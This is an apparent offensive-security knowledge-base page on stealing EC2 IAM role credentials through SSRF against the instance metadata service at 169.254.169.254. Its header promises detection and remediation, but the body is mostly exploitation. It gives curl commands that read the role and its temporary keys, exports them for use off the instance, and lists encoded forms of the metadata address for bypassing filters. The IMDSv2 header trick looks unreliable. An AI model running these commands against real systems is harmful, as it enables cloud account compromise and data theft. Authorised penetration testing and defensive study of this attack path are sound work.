# IMDSv1 Enabled Detection

> Detects EC2 instances with IMDSv1 enabled, exposing metadata endpoints to SSRF attacks. Covers enumeration, risk assessment, and remediation via IMDSv2 enforcement.

- **URL:** https://hackindex.io/platforms/aws/vulnerability-discovery/ec2/ec2-imdsv1-enabled-detection
- **Path:** AWS > Vulnerability Discovery > EC2
- **Up:** [EC2](https://hackindex.io/platforms/aws/vulnerability-discovery/ec2.md)
- **Published:** 2026-08-10
- **Updated:** 2026-08-10

An SSRF in an application running on EC2 can reach the instance metadata service at `169.254.169.254` and pull the attached IAM role's temporary credentials. Those credentials give you the role's permissions from your own machine, off the instance entirely. This is the highest-value outcome of most cloud-hosted SSRF findings.

Confirm the instance accepts IMDSv1 first, see [IMDSv1 Enabled Detection](https://hackindex.io/platforms/aws/vulnerability-discovery/ec2/ec2-imdsv1-enabled-detection). The generic SSRF techniques and encoding bypasses are on [SSRF Exploitation](https://hackindex.io/services/web/exploitation/ssrf-exploitation).

Conditions required for this attack path:

- SSRF vulnerability in an application hosted on EC2
- IMDSv1 enabled on the instance (`HttpTokens: optional`)
- IAM instance profile attached to the instance
- Network path from the application to `169.254.169.254`

## Steal Credentials Over IMDSv1

Point the SSRF at the security-credentials path. First read the role name, then the credentials object. Replace the URL with whatever the vulnerable parameter fetches.

```bash
curl -s 'https://$TARGET_IP/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
# WebAppRole
```

```bash
curl -s 'https://$TARGET_IP/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole'
# {
#     "Code": "Success",
#     "AccessKeyId": "ASIA...",
#     "SecretAccessKey": "...",
#     "Token": "...",
#     "Expiration": "2026-01-01T06:00:00Z"
# }
```

Export the three values and confirm the identity from your own host:

```bash
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
# {
#     "Account": "123456789012",
#     "Arn": "arn:aws:sts::123456789012:assumed-role/WebAppRole/i-0abc1234567890abc"
# }
```

## Reaching IMDSv2 Through SSRF

IMDSv2 needs a `PUT` to `/latest/api/token` with a TTL header, then that token echoed in `X-aws-ec2-metadata-token` on the `GET`. A plain URL-fetch SSRF cannot do this. It only becomes reachable when the SSRF lets you control the HTTP method and add headers, for example a full request-smuggling or a gopher-capable primitive.

If you can set method and headers, the exchange is two requests:

```bash
curl -s -X PUT 'https://$TARGET_IP/proxy?url=http://169.254.169.254/latest/api/token' \
  -H 'X-Forwarded-Header: X-aws-ec2-metadata-token-ttl-seconds: 21600'
curl -s 'https://$TARGET_IP/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole' \
  -H 'X-Forwarded-Header: X-aws-ec2-metadata-token: $TOKEN'
```

A `HttpPutResponseHopLimit` of 1 also blocks IMDSv2 access from a container one network hop away, so containerised apps often cannot reach it even when method control exists. In practice, IMDSv2 defeats the large majority of SSRF-to-credential attempts, which is why the IMDSv1 check decides whether this path is worth pursuing.

## Common SSRF Filter Bypasses

When a blocklist tries to stop the literal `169.254.169.254`, the same alternate-encoding tricks used against other internal targets apply. Decimal, hex, and octal forms of the address, a redirect through an attacker-controlled URL, and DNS rebinding all resolve to the metadata IP:

```bash
http://2852039166/latest/meta-data/            # decimal
http://0xA9FEA9FE/latest/meta-data/             # hex
http://0251.0376.0251.0376/latest/meta-data/    # octal
http://169.254.169.254.nip.io/latest/meta-data/ # DNS that resolves to the IMDS IP
```

> [!WARNING]
> Reading instance credentials and then using them from an external IP is exactly what GuardDuty flags as `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration`. The credential retrieval and every subsequent API call are logged to CloudTrail. This is loud, treat stolen session tokens as short-lived and expect detection.
